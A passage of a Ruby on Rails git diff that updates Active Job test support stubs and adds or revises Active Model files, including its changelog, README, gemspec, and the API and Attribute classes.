   class << self
     def clear
@@ -17,3 +19,9 @@ def last_value
     end
   end
 end
+
+class ActiveSupport::TestCase
+  teardown do
+    JobBuffer.clear
+  end
+end
diff --git a/activejob/test/support/que/inline.rb b/activejob/test/support/que/inline.rb
deleted file mode 100644
index 55eb0d01ef62e..0000000000000
--- a/activejob/test/support/que/inline.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-require "que"
-
-Que::Job.class_eval do
-  class << self; alias_method :original_enqueue, :enqueue; end
-  def self.enqueue(*args)
-    if args.last.is_a?(Hash)
-      options = args.pop
-      options.delete(:run_at)
-      options.delete(:priority)
-      args << options unless options.empty?
-    end
-    run(*args)
-  end
-end
diff --git a/activejob/test/support/queue_classic/inline.rb b/activejob/test/support/queue_classic/inline.rb
index dcd834eccef44..a1dc9f24fa29f 100644
--- a/activejob/test/support/queue_classic/inline.rb
+++ b/activejob/test/support/queue_classic/inline.rb
@@ -1,23 +1,26 @@
+# frozen_string_literal: true
+
 require "queue_classic"
+require "active_support/core_ext/module/redefine_method"
 
 module QC
   class Queue
-    def enqueue(method, *args)
+    redefine_method(:enqueue) do |method, *args|
       receiver_str, _, message = method.rpartition(".")
       receiver = eval(receiver_str)
-      receiver.send(message, *args)
+      receiver.public_send(message, *args)
     end
 
-    def enqueue_in(seconds, method, *args)
+    redefine_method(:enqueue_in) do |seconds, method, *args|
       receiver_str, _, message = method.rpartition(".")
       receiver = eval(receiver_str)
-      receiver.send(message, *args)
+      receiver.public_send(message, *args)
     end
 
-    def enqueue_at(not_before, method, *args)
+    redefine_method(:enqueue_at) do |not_before, method, *args|
       receiver_str, _, message = method.rpartition(".")
       receiver = eval(receiver_str)
-      receiver.send(message, *args)
+      receiver.public_send(message, *args)
     end
   end
 end
diff --git a/activejob/test/support/sneakers/inline.rb b/activejob/test/support/sneakers/inline.rb
index cf102ae5c20d7..e772c68c6e25a 100644
--- a/activejob/test/support/sneakers/inline.rb
+++ b/activejob/test/support/sneakers/inline.rb
@@ -1,9 +1,12 @@
+# frozen_string_literal: true
+
 require "sneakers"
+require "active_support/core_ext/module/redefine_method"
 
 module Sneakers
   module Worker
     module ClassMethods
-      def enqueue(msg)
+      redefine_method(:enqueue) do |msg|
         worker = new(nil, nil, {})
         worker.work(*msg)
       end
diff --git a/activejob/test/support/stubs/strong_parameters.rb b/activejob/test/support/stubs/strong_parameters.rb
new file mode 100644
index 0000000000000..acba3a4504bcf
--- /dev/null
+++ b/activejob/test/support/stubs/strong_parameters.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class Parameters
+  def initialize(parameters = {})
+    @parameters = parameters.with_indifferent_access
+  end
+
+  def permitted?
+    true
+  end
+
+  def to_h
+    @parameters.to_h
+  end
+end
diff --git a/activejob/test/support/test_logger.rb b/activejob/test/support/test_logger.rb
new file mode 100644
index 0000000000000..e27e4d9955b96
--- /dev/null
+++ b/activejob/test/support/test_logger.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+class TestLogger < ActiveSupport::Logger
+  def initialize
+    @file = StringIO.new
+    super(@file)
+  end
+
+  def messages
+    @file.rewind
+    @file.read
+  end
+end
+
+module TestLoggerHelper
+  def setup
+    super
+    JobBuffer.clear
+    @old_logger = ActiveJob::Base.logger
+    @logger = ActiveSupport::TaggedLogging.new(TestLogger.new)
+    set_logger @logger
+  end
+
+  def teardown
+    super
+    set_logger @old_logger
+  end
+
+  def set_logger(logger)
+    ActiveJob::Base.logger = logger
+  end
+end
diff --git a/activemodel/CHANGELOG.md b/activemodel/CHANGELOG.md
index edaac8c7cde4b..e7b198f61d7cb 100644
--- a/activemodel/CHANGELOG.md
+++ b/activemodel/CHANGELOG.md
@@ -1,30 +1,140 @@
-*   Remove deprecated behavior that halts callbacks when the return is false.
+*   Add `has_json` and `has_delegated_json` to provide schema-enforced access to JSON attributes.
 
-    *Rafael Mendonça França*
+    ```ruby
+    class Account < ApplicationRecord
+      has_json :settings, restrict_creation_to_admins: true, max_invites: 10, greeting: "Hello!"
+      has_delegated_json :flags, beta: false, staff: :boolean
+    end
 
-*   Remove unused `ActiveModel::TestCase` class.
+    a = Account.new
+    a.settings.restrict_creation_to_admins? # => true
+    a.settings.max_invites = "100" # => Set to integer 100
+    a.settings = { "restrict_creation_to_admins" => "false", "max_invites" => "500", "greeting" => "goodbye" }
+    a.settings.greeting # => "goodbye"
+    a.staff # => nil
+    a.staff = true
+    a.staff? # => true
+    ```
 
-    *Yuji Yaginuma*
+    *DHH*
 
-*   Moved DecimalWithoutScale, Text, and UnsignedInteger from Active Model to Active Record
+*   Changes `ActiveModel::Validations#read_attribute_for_validation` to return `nil` if the record doesn't
+    respond to the attribute instead of raising an error.
 
-    *Iain Beeston*
+    This change allows adding errors to custom attributes with symbol messages.
 
-*   Allow indifferent access in `ActiveModel::Errors`.
+    ```ruby
+    user = User.new # User model has no `address` attribute
 
-    `#include?`, `#has_key?`, `#key?`, `#delete` and `#full_messages_for`.
+    user.errors.add(:address, :invalid)
 
-    *Kenichi Kamiya*
+    user.errors.messages
+    ```
 
-*   Removed deprecated `:tokenizer` in the length validator.
+    Previously, calling `messages` would raise an error because `address` attribute can't be read.
+    Now it returns the localized error message.
 
-    *Rafael Mendonça França*
+    *Lovro Bikić*
 
-*   Removed deprecated methods in `ActiveModel::Errors`.
+*   Add built-in Argon2 support for `has_secure_password`.
 
-    `#get`, `#set`, `[]=`, `add_on_empty` and `add_on_blank`.
+    `has_secure_password` now supports Argon2 as a built-in algorithm:
 
-    *Rafael Mendonça França*
+    ```ruby
+    class User < ActiveRecord::Base
+      has_secure_password algorithm: :argon2
+    end
+    ```
 
+    To use Argon2, add `gem "argon2", "~> 2.3"` to your Gemfile.
 
-Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/activemodel/CHANGELOG.md) for previous changes.
+    Argon2 has no password length limit, unlike BCrypt's 72-byte restriction.
+
+    *Justin Bull*, *Guillermo Iguaran*
+
+*   Add ActiveModel::SecurePassword.register_algorithm to register new algorithms for `has_secure_password` by symbol:
+
+    `ActiveModel::SecurePassword.register_algorithm` can be used to register new algorithms:
+
+    ```ruby
+    ActiveModel::SecurePassword.register_algorithm :custom_password, CustomPassword
+    ```
+
+    ```ruby
+    class User < ActiveRecord::Base
+      has_secure_password algorithm: :custom_password
+    end
+    ```
+
+    BCrypt is pre-registered as `:bcrypt` in the algorithms registry.
+
+    *Justin Bull*, *Guillermo Iguaran*
+
+*   `has_secure_password` can support different password hashing algorithms (if defined) using the `:algorithm` option:
+
+    ```ruby
+    class CustomPassword
+      def hash_password(unencrypted_password)
+        CustomHashingLibrary.create(unencrypted_password)
+      end
+
+      def verify_password(password, digest)
+        CustomHashingLibrary.verify(password, digest)
+      end
+
+      def password_salt(digest)
+        CustomHashingLibrary.salt(digest)
+      end
+
+      def validate(record, attribute)
+        # ...
+      end
+
+      def algorithm_name
+        :custom
+      end
+    end
+    ```
+
+    ```ruby
+    class User < ActiveRecord::Base
+      has_secure_password algorithm: CustomPassword.new
+    end
+    ```
+
+    *Justin Bull*, *Lucas Mazza*
+
+*   Allow passing method name or proc to `allow_nil` and `allow_blank`
+
+    ```ruby
+    class EnrollmentForm
+      include ActiveModel::Validations
+
+      attr_accessor :course
+
+      validates :course,
+                inclusion: { in: :open_courses },
+                allow_nil: :saving_progress?
+    end
+    ```
+
+    *Richard Lynch*
+
+*   Add error type support arguments to `ActiveModel::Errors#messages_for` and `ActiveModel::Errors#full_messages_for`
+
+    ```ruby
+    person = Person.create()
+    person.errors.full_messages_for(:name, :invalid)
+    # => ["Name is invalid"]
+
+    person.errors.messages_for(:name, :invalid)
+    # => ["is invalid"]
+    ```
+
+    *Eugene Bezludny*
+
+*   Make `ActiveModel::Serializers::JSON#from_json` compatible with `#assign_attributes`
+
+    *Sean Doyle*
+
+Please check [8-1-stable](https://github.com/rails/rails/blob/8-1-stable/activemodel/CHANGELOG.md) for previous changes.
diff --git a/activemodel/MIT-LICENSE b/activemodel/MIT-LICENSE
index ac810e86d0210..7be9ac633faf0 100644
--- a/activemodel/MIT-LICENSE
+++ b/activemodel/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2017 David Heinemeier Hansson
+Copyright (c) David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/activemodel/README.rdoc b/activemodel/README.rdoc
index 77f576199368e..6a4d719d021f3 100644
--- a/activemodel/README.rdoc
+++ b/activemodel/README.rdoc
@@ -1,23 +1,25 @@
-= Active Model -- model interfaces for Rails
+= Active Model -- model interfaces for \Rails
 
 Active Model provides a known set of interfaces for usage in model classes.
 They allow for Action Pack helpers to interact with non-Active Record models,
 for example. Active Model also helps with building custom ORMs for use outside of
-the Rails framework.
+the \Rails framework.
 
-Prior to Rails 3.0, if a plugin or gem developer wanted to have an object
+You can read more about Active Model in the {Active Model Basics}[https://guides.rubyonrails.org/active_model_basics.html] guide.
+
+Prior to \Rails 3.0, if a plugin or gem developer wanted to have an object
 interact with Action Pack helpers, it was required to either copy chunks of
-code from Rails, or monkey patch entire helpers to make them handle objects
+code from \Rails, or monkey patch entire helpers to make them handle objects
 that did not exactly conform to the Active Record interface. This would result
 in code duplication and fragile applications that broke on upgrades. Active
 Model solves this by defining an explicit API. You can read more about the
-API in <tt>ActiveModel::Lint::Tests</tt>.
+API in +ActiveModel::Lint::Tests+.
 
 Active Model provides a default module that implements the basic API required
-to integrate with Action Pack out of the box: <tt>ActiveModel::Model</tt>.
+to integrate with Action Pack out of the box: ActiveModel::API.
 
     class Person
-      include ActiveModel::Model
+      include ActiveModel::API
 
       attr_accessor :name, :age
       validates_presence_of :name
@@ -30,7 +32,7 @@ to integrate with Action Pack out of the box: <tt>ActiveModel::Model</tt>.
 
 It includes model name introspections, conversions, translations and
 validations, resulting in a class suitable to be used with Action Pack.
-See <tt>ActiveModel::Model</tt> for more examples.
+See ActiveModel::API for more examples.
 
 Active Model also provides the following functionality to have ORM-like
 behavior out of the box:
@@ -54,7 +56,7 @@ behavior out of the box:
     person.clear_name
     person.clear_age
 
-  {Learn more}[link:classes/ActiveModel/AttributeMethods.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveModel/AttributeMethods.html]
 
 * Callbacks for certain operations
 
@@ -72,7 +74,7 @@ behavior out of the box:
   This generates +before_create+, +around_create+ and +after_create+
   class methods that wrap your create method.
 
-  {Learn more}[link:classes/ActiveModel/Callbacks.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveModel/Callbacks.html]
 
 * Tracking value changes
 
@@ -108,7 +110,7 @@ behavior out of the box:
     person.save
     person.previous_changes # => {'name' => ['bob, 'robert']}
 
-  {Learn more}[link:classes/ActiveModel/Dirty.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveModel/Dirty.html]
 
 * Adding +errors+ interface to objects
 
@@ -139,7 +141,7 @@ behavior out of the box:
     person.errors.full_messages
     # => ["Name cannot be nil"]
 
-  {Learn more}[link:classes/ActiveModel/Errors.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveModel/Errors.html]
 
 * Model name introspection
 
@@ -150,11 +152,11 @@ behavior out of the box:
     NamedPerson.model_name.name   # => "NamedPerson"
     NamedPerson.model_name.human  # => "Named person"
 
-  {Learn more}[link:classes/ActiveModel/Naming.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveModel/Naming.html]
 
 * Making objects serializable
 
-  <tt>ActiveModel::Serialization</tt> provides a standard interface for your object
+  ActiveModel::Serialization provides a standard interface for your object
   to provide +to_json+ serialization.
 
     class SerialPerson
@@ -177,7 +179,7 @@ behavior out of the box:
     s = SerialPerson.new
     s.to_json             # => "{\"name\":null}"
 
-  {Learn more}[link:classes/ActiveModel/Serialization.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveModel/Serialization.html]
 
 * Internationalization (i18n) support
 
@@ -188,7 +190,7 @@ behavior out of the box:
     Person.human_attribute_name('my_attribute')
     # => "My attribute"
 
-  {Learn more}[link:classes/ActiveModel/Translation.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveModel/Translation.html]
 
 * Validation support
 
@@ -198,7 +200,7 @@ behavior out of the box:
       attr_accessor :first_name, :last_name
 
       validates_each :first_name, :last_name do |record, attr, value|
-        record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
+        record.errors.add attr, "starts with z." if value.start_with?("z")
       end
     end
 
@@ -206,7 +208,7 @@ behavior out of the box:
     person.first_name = 'zoolander'
     person.valid?  # => false
 
-  {Learn more}[link:classes/ActiveModel/Validations.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveModel/Validations.html]
 
 * Custom validators
 
@@ -228,7 +230,7 @@ behavior out of the box:
     p.name = "Bob"
     p.valid?                  # =>  true
 
-  {Learn more}[link:classes/ActiveModel/Validator.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveModel/Validator.html]
 
 
 == Download and installation
@@ -237,28 +239,28 @@ The latest version of Active Model can be installed with RubyGems:
 
   $ gem install activemodel
 
-Source code can be downloaded as part of the Rails project on GitHub
+Source code can be downloaded as part of the \Rails project on GitHub
 
-* https://github.com/rails/rails/tree/master/activemodel
+* https://github.com/rails/rails/tree/main/activemodel
 
 
 == License
 
 Active Model is released under the MIT license:
 
-* http://www.opensource.org/licenses/MIT
+* https://opensource.org/licenses/MIT
 
 
 == Support
 
-API documentation is at
+API documentation is at:
 
-* http://api.rubyonrails.org
+* https://api.rubyonrails.org
 
-Bug reports can be filed for the Ruby on Rails project here:
+Bug reports for the Ruby on \Rails project can be filed here:
 
 * https://github.com/rails/rails/issues
 
-Feature requests should be discussed on the rails-core mailing list here:
+Feature requests should be discussed on the rubyonrails-core forum here:
 
-* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+* https://discuss.rubyonrails.org/c/rubyonrails-core
diff --git a/activemodel/Rakefile b/activemodel/Rakefile
index c7f97a4258fc5..94d76819b1af8 100644
--- a/activemodel/Rakefile
+++ b/activemodel/Rakefile
@@ -1,23 +1,30 @@
-require "rake/testtask"
+# frozen_string_literal: true
 
-dir = File.dirname(__FILE__)
+require "rake/testtask"
 
 task default: :test
 
-task :package
+ENV["RAILS_MINITEST_PLUGIN"] = "true"
 
 Rake::TestTask.new do |t|
   t.libs << "test"
-  t.test_files = Dir.glob("#{dir}/test/cases/**/*_test.rb")
+  t.test_files = FileList["#{__dir__}/test/cases/**/*_test.rb"]
   t.warning = true
   t.verbose = true
+  t.options = "--profile" if ENV["CI"]
   t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
 end
 
 namespace :test do
-  task :isolated do
-    Dir.glob("#{dir}/test/**/*_test.rb").all? do |file|
-      sh(Gem.ruby, "-w", "-I#{dir}/lib", "-I#{dir}/test", file)
+  task isolated: :railties do
+    Dir.glob("#{__dir__}/test/**/*_test.rb").all? do |file|
+      sh(Gem.ruby, "-w", "-I#{__dir__}/lib", "-I#{__dir__}/test", file)
+    end || raise("Failures")
+  end
+
+  task :railties do
+    ["active_model/railtie"].all? do |railtie|
+      sh(Gem.ruby, "-r", railtie, "-e", "'OK'")
     end || raise("Failures")
   end
 end
diff --git a/activemodel/activemodel.gemspec b/activemodel/activemodel.gemspec
index fd715f6ba9a9a..b8b06156fef5c 100644
--- a/activemodel/activemodel.gemspec
+++ b/activemodel/activemodel.gemspec
@@ -1,4 +1,6 @@
-version = File.read(File.expand_path("../../RAILS_VERSION", __FILE__)).strip
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
 
 Gem::Specification.new do |s|
   s.platform    = Gem::Platform::RUBY
@@ -7,16 +9,28 @@ Gem::Specification.new do |s|
   s.summary     = "A toolkit for building modeling frameworks (part of Rails)."
   s.description = "A toolkit for building modeling frameworks like Active Record. Rich support for attributes, callbacks, validations, serialization, internationalization, and testing."
 
-  s.required_ruby_version = ">= 2.2.2"
+  s.required_ruby_version = ">= 3.2.0"
 
   s.license = "MIT"
 
   s.author   = "David Heinemeier Hansson"
   s.email    = "david@loudthinking.com"
-  s.homepage = "http://rubyonrails.org"
+  s.homepage = "https://rubyonrails.org"
 
   s.files        = Dir["CHANGELOG.md", "MIT-LICENSE", "README.rdoc", "lib/**/*"]
   s.require_path = "lib"
 
+  s.metadata = {
+    "bug_tracker_uri"   => "https://github.com/rails/rails/issues",
+    "changelog_uri"     => "https://github.com/rails/rails/blob/v#{version}/activemodel/CHANGELOG.md",
+    "documentation_uri" => "https://api.rubyonrails.org/v#{version}/",
+    "mailing_list_uri"  => "https://discuss.rubyonrails.org/c/rubyonrails-talk",
+    "source_code_uri"   => "https://github.com/rails/rails/tree/v#{version}/activemodel",
+    "rubygems_mfa_required" => "true",
+  }
+
+  # NOTE: Please read our dependency guidelines before updating versions:
+  # https://edgeguides.rubyonrails.org/security.html#dependency-management-and-cves
+
   s.add_dependency "activesupport", version
 end
diff --git a/activemodel/bin/test b/activemodel/bin/test
index a7beb14b271a3..c53377cc970f4 100755
--- a/activemodel/bin/test
+++ b/activemodel/bin/test
@@ -1,4 +1,5 @@
 #!/usr/bin/env ruby
+# frozen_string_literal: true
 
 COMPONENT_ROOT = File.expand_path("..", __dir__)
-require File.expand_path("../tools/test", COMPONENT_ROOT)
+require_relative "../../tools/test"
diff --git a/activemodel/lib/active_model.rb b/activemodel/lib/active_model.rb
index 2389c858d50ae..475981a9a0a25 100644
--- a/activemodel/lib/active_model.rb
+++ b/activemodel/lib/active_model.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
 #--
-# Copyright (c) 2004-2017 David Heinemeier Hansson
+# Copyright (c) David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -24,12 +26,19 @@
 require "active_support"
 require "active_support/rails"
 require "active_model/version"
+require "active_model/deprecator"
 
+# :include: ../README.rdoc
 module ActiveModel
   extend ActiveSupport::Autoload
 
+  autoload :Access
+  autoload :API
+  autoload :Attribute
+  autoload :Attributes
   autoload :AttributeAssignment
   autoload :AttributeMethods
+  autoload :AttributeRegistration
   autoload :BlockValidator, "active_model/validator"
   autoload :Callbacks
   autoload :Conversion
@@ -40,17 +49,27 @@ module ActiveModel
   autoload :Model
   autoload :Name, "active_model/naming"
   autoload :Naming
+  autoload :SchematizedJson
   autoload :SecurePassword
   autoload :Serialization
   autoload :Translation
+  autoload :Type
   autoload :Validations
   autoload :Validator
 
+  module Attributes
+    extend ActiveSupport::Autoload
+
+    autoload :Normalization
+  end
+
   eager_autoload do
     autoload :Errors
+    autoload :Error
     autoload :RangeError, "active_model/errors"
     autoload :StrictValidationFailed, "active_model/errors"
     autoload :UnknownAttributeError, "active_model/errors"
+    autoload :ValidationError, "active_model/validations"
   end
 
   module Serializers
@@ -68,5 +87,5 @@ def self.eager_load!
 end
 
 ActiveSupport.on_load(:i18n) do
-  I18n.load_path << File.dirname(__FILE__) + "/active_model/locale/en.yml"
+  I18n.load_path << File.expand_path("active_model/locale/en.yml", __dir__)
 end
diff --git a/activemodel/lib/active_model/access.rb b/activemodel/lib/active_model/access.rb
new file mode 100644
index 0000000000000..9ee83f5c5be06
--- /dev/null
+++ b/activemodel/lib/active_model/access.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/enumerable"
+require "active_support/core_ext/hash/indifferent_access"
+
+module ActiveModel
+  module Access # :nodoc:
+    def slice(*methods)
+      methods.flatten.index_with { |method| public_send(method) }.with_indifferent_access
+    end
+
+    def values_at(*methods)
+      methods.flatten.map! { |method| public_send(method) }
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/api.rb b/activemodel/lib/active_model/api.rb
new file mode 100644
index 0000000000000..63af098a35e32
--- /dev/null
+++ b/activemodel/lib/active_model/api.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  # = Active \Model \API
+  #
+  # Includes the required interface for an object to interact with
+  # Action Pack and Action View, using different Active \Model modules.
+  # It includes model name introspections, conversions, translations, and
+  # validations. Besides that, it allows you to initialize the object with a
+  # hash of attributes, pretty much like Active Record does.
+  #
+  # A minimal implementation could be:
+  #
+  #   class Person
+  #     include ActiveModel::API
+  #     attr_accessor :name, :age
+  #   end
+  #
+  #   person = Person.new(name: 'bob', age: '18')
+  #   person.name # => "bob"
+  #   person.age  # => "18"
+  #
+  # Note that, by default, +ActiveModel::API+ implements #persisted?
+  # to return +false+, which is the most common case. You may want to override
+  # it in your class to simulate a different scenario:
+  #
+  #   class Person
+  #     include ActiveModel::API
+  #     attr_accessor :id, :name
+  #
+  #     def persisted?
+  #       self.id.present?
+  #     end
+  #   end
+  #
+  #   person = Person.new(id: 1, name: 'bob')
+  #   person.persisted? # => true
+  #
+  # Also, if for some reason you need to run code on initialize ( ::new ), make
+  # sure you call +super+ if you want the attributes hash initialization to
+  # happen.
+  #
+  #   class Person
+  #     include ActiveModel::API
+  #     attr_accessor :id, :name, :omg
+  #
+  #     def initialize(attributes={})
+  #       super
+  #       @omg ||= true
+  #     end
+  #   end
+  #
+  #   person = Person.new(id: 1, name: 'bob')
+  #   person.omg # => true
+  #
+  # For more detailed information on other functionalities available, please
+  # refer to the specific modules included in +ActiveModel::API+
+  # (see below).
+  module API
+    extend ActiveSupport::Concern
+    include ActiveModel::AttributeAssignment
+    include ActiveModel::Validations
+    include ActiveModel::Conversion
+    include ActiveModel::SchematizedJson
+
+    included do
+      extend ActiveModel::Naming
+      extend ActiveModel::Translation
+    end
+
+    # Initializes a new model with the given +params+.
+    #
+    #   class Person
+    #     include ActiveModel::API
+    #     attr_accessor :name, :age
+    #   end
+    #
+    #   person = Person.new(name: 'bob', age: '18')
+    #   person.name # => "bob"
+    #   person.age  # => "18"
+    def initialize(attributes = {})
+      assign_attributes(attributes) if attributes
+
+      super()
+    end
+
+    # Indicates if the model is persisted. Default is +false+.
+    #
+    #  class Person
+    #    include ActiveModel::API
+    #    attr_accessor :id, :name
+    #  end
+    #
+    #  person = Person.new(id: 1, name: 'bob')
+    #  person.persisted? # => false
+    def persisted?
+      false
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/attribute.rb b/activemodel/lib/active_model/attribute.rb
new file mode 100644
index 0000000000000..1508bad3fbcc3
--- /dev/null
+++ b/activemodel/lib/active_model/attribute.rb
@@ -0,0 +1,285 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/duplicable"
+
+module ActiveModel
+  class Attribute # :nodoc:
+    class << self
+      def from_database(name, value_before_type_cast, type, value = nil)
+        FromDatabase.new(name, value_before_type_cast, type, nil, value)
+      end
+
+      def from_user(name, value_before_type_cast, type, original_attribute = nil)
+        FromUser.new(name, value_before_type_cast, type, original_attribute)
+      end
+
+      def with_cast_value(name, value_before_type_cast, type)
+        WithCastValue.new(name, value_before_type_cast, type)
+      end
+
+      def null(name)
+        Null.new(name)
+      end
+
+      def uninitialized(name, type)
+        Uninitialized.new(name, type)
+      end
+    end
+
+    attr_reader :name, :value_before_type_cast, :type
+
+    # This method should not be called directly.
+    # Use #from_database or #from_user
+    def initialize(name, value_before_type_cast, type, original_attribute = nil, value = nil)
+      @name = name
+      @value_before_type_cast = value_before_type_cast
+      @type = type
+      @original_attribute = original_attribute
+      @value = value unless value.nil?
+    end
+
+    def value(&)
+      # `defined?` is cheaper than `||=` when we get back falsy values
+      @value = type_cast(value_before_type_cast) unless defined?(@value)
+      @value
+    end
+
+    def original_value
+      if assigned?
+        original_attribute.original_value
+      else
+        type_cast(value_before_type_cast)
+      end
+    end
+
+    def value_for_database
+      if !defined?(@value_for_database) || type.changed_in_place?(@value_for_database, value)
+        @value_for_database = _value_for_database
+      end
+      @value_for_database
+    end
+
+    def serializable?(&block)
+      type.serializable?(value, &block)
+    end
+
+    def changed?
+      changed_from_assignment? || changed_in_place?
+    end
+
+    def changed_in_place?
+      has_been_read? && type.changed_in_place?(original_value_for_database, value)
+    end
+
+    def forgetting_assignment
+      with_value_from_database(value_for_database)
+    end
+
+    def with_value_from_user(value)
+      type.assert_valid_value(value)
+      self.class.from_user(name, value, type, original_attribute || self)
+    end
+
+    def with_value_from_database(value)
+      self.class.from_database(name, value, type)
+    end
+
+    def with_cast_value(value)
+      self.class.with_cast_value(name, value, type)
+    end
+
+    def with_type(type)
+      if changed_in_place?
+        with_value_from_user(value).with_type(type)
+      else
+        self.class.new(name, value_before_type_cast, type, original_attribute)
+      end
+    end
+
+    def dup_or_share # :nodoc:
+      if @type.mutable?
+        dup
+      else
+        self # If the underlying type is immutable we can get away with not duping
+      end
+    end
+
+    def type_cast(*)
+      raise NotImplementedError
+    end
+
+    def initialized?
+      true
+    end
+
+    def came_from_user?
+      false
+    end
+
+    def has_been_read?
+      defined?(@value)
+    end
+
+    def ==(other)
+      self.class == other.class &&
+        name == other.name &&
+        value_before_type_cast == other.value_before_type_cast &&
+        type == other.type
+    end
+    alias eql? ==
+
+    def hash
+      [self.class, name, value_before_type_cast, type].hash
+    end
+
+    def init_with(coder)
+      @name = coder["name"]
+      @value_before_type_cast = coder["value_before_type_cast"]
+      @type = coder["type"]
+      @original_attribute = coder["original_attribute"]
+      @value = coder["value"] if coder.map.key?("value")
+    end
+
+    def encode_with(coder)
+      coder["name"] = name
+      coder["value_before_type_cast"] = value_before_type_cast unless value_before_type_cast.nil?
+      coder["type"] = type if type
+      coder["original_attribute"] = original_attribute if original_attribute
+      coder["value"] = value if defined?(@value)
+    end
+
+    def original_value_for_database
+      if assigned?
+        original_attribute.original_value_for_database
+      else
+        _original_value_for_database
+      end
+    end
+
+    private
+      attr_reader :original_attribute
+      alias :assigned? :original_attribute
+
+      def initialize_dup(other)
+        if @value&.duplicable?
+          @value = @value.dup
+        end
+      end
+
+      def changed_from_assignment?
+        assigned? && type.changed?(original_value, value, value_before_type_cast)
+      end
+
+      def _value_for_database
+        type.serialize(value)
+      end
+
+      def _original_value_for_database
+        type.serialize(original_value)
+      end
+
+      class FromDatabase < Attribute # :nodoc:
+        def type_cast(value)
+          type.deserialize(value)
+        end
+
+        def forgetting_assignment
+          # If this attribute was not persisted (with a `value_for_database`
+          # that might differ from `value_before_type_cast`) and `value` has not
+          # changed in place, we can use the existing `value_before_type_cast`
+          # to avoid deserialize / cast / serialize calls from computing the new
+          # attribute's `value_before_type_cast`.
+          if !defined?(@value_for_database) && !changed_in_place?
+            with_value_from_database(value_before_type_cast)
+          else
+            super
+          end
+        end
+
+        private
+          def _original_value_for_database
+            value_before_type_cast
+          end
+      end
+
+      class FromUser < Attribute # :nodoc:
+        def type_cast(value)
+          type.cast(value)
+        end
+
+        def came_from_user?
+          !type.value_constructed_by_mass_assignment?(value_before_type_cast)
+        end
+
+        private
+          def _value_for_database
+            Type::SerializeCastValue.serialize(type, value)
+          end
+      end
+
+      class WithCastValue < Attribute # :nodoc:
+        def type_cast(value)
+          value
+        end
+
+        def changed_in_place?
+          false
+        end
+      end
+
+      class Null < Attribute # :nodoc:
+        def initialize(name)
+          super(name, nil, Type.default_value)
+        end
+
+        def type_cast(*)
+          nil
+        end
+
+        def with_type(type)
+          self.class.with_cast_value(name, nil, type)
+        end
+
+        def with_value_from_database(value)
+          raise ActiveModel::MissingAttributeError, "can't write unknown attribute `#{name}`"
+        end
+        alias_method :with_value_from_user, :with_value_from_database
+        alias_method :with_cast_value, :with_value_from_database
+      end
+
+      class Uninitialized < Attribute # :nodoc:
+        UNINITIALIZED_ORIGINAL_VALUE = Object.new
+
+        def initialize(name, type)
+          super(name, nil, type)
+        end
+
+        def value
+          if block_given?
+            yield name
+          end
+        end
+
+        def original_value
+          UNINITIALIZED_ORIGINAL_VALUE
+        end
+
+        def value_for_database
+        end
+
+        def initialized?
+          false
+        end
+
+        def forgetting_assignment
+          dup
+        end
+
+        def with_type(type)
+          self.class.new(name, type)
+        end
+      end
+
+      private_constant :FromDatabase, :FromUser, :Null, :Uninitialized, :WithCastValue
+  end
+end
diff --git a/activemodel/lib/active_model/attribute/user_provided_default.rb b/activemodel/lib/active_model/attribute/user_provided_default.rb
new file mode 100644
index 0000000000000..b4165e3711c89
--- /dev/null
+++ b/activemodel/lib/active_model/attribute/user_provided_default.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require "active_model/attribute"
+
+module ActiveModel
+  class Attribute # :nodoc:
+    def with_user_default(value)
+      UserProvidedDefault.new(name, value, type, self.is_a?(FromDatabase) ? self : original_attribute)
+    end
+
+    class UserProvidedDefault < FromUser # :nodoc:
+      def initialize(name, value, type, database_default)
+        @user_provided_value = value
+        super(name, value, type, database_default)
+      end
+
+      def value_before_type_cast
+        if user_provided_value.is_a?(Proc)
+          @memoized_value_before_type_cast ||= user_provided_value.call
+        else
+          @user_provided_value
+        end
+      end
+
+      def with_type(type)
+        self.class.new(name, user_provided_value, type, original_attribute)
+      end
+
+      def dup_or_share # :nodoc:
+        # Can't elide dup when the default is a Proc
+        # See Attribute#dup_or_share
+        if @user_provided_value.is_a?(Proc)
+          dup
+        else
+          super
+        end
+      end
+
+      def marshal_dump
+        result = [
+          name,
+          value_before_type_cast,
+          type,
+          original_attribute,
+        ]
+        result << value if defined?(@value)
+        result
+      end
+
+      def marshal_load(values)
+        name, user_provided_value, type, original_attribute, value = values
+        @name = name
+        @user_provided_value = user_provided_value
+        @type = type
+        @original_attribute = original_attribute
+        if values.length == 5
+          @value = value
+        end
+      end
+
+      private
+        attr_reader :user_provided_value
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/attribute_assignment.rb b/activemodel/lib/active_model/attribute_assignment.rb
index 7dad3b6dff8f1..db746b1ca79fe 100644
--- a/activemodel/lib/active_model/attribute_assignment.rb
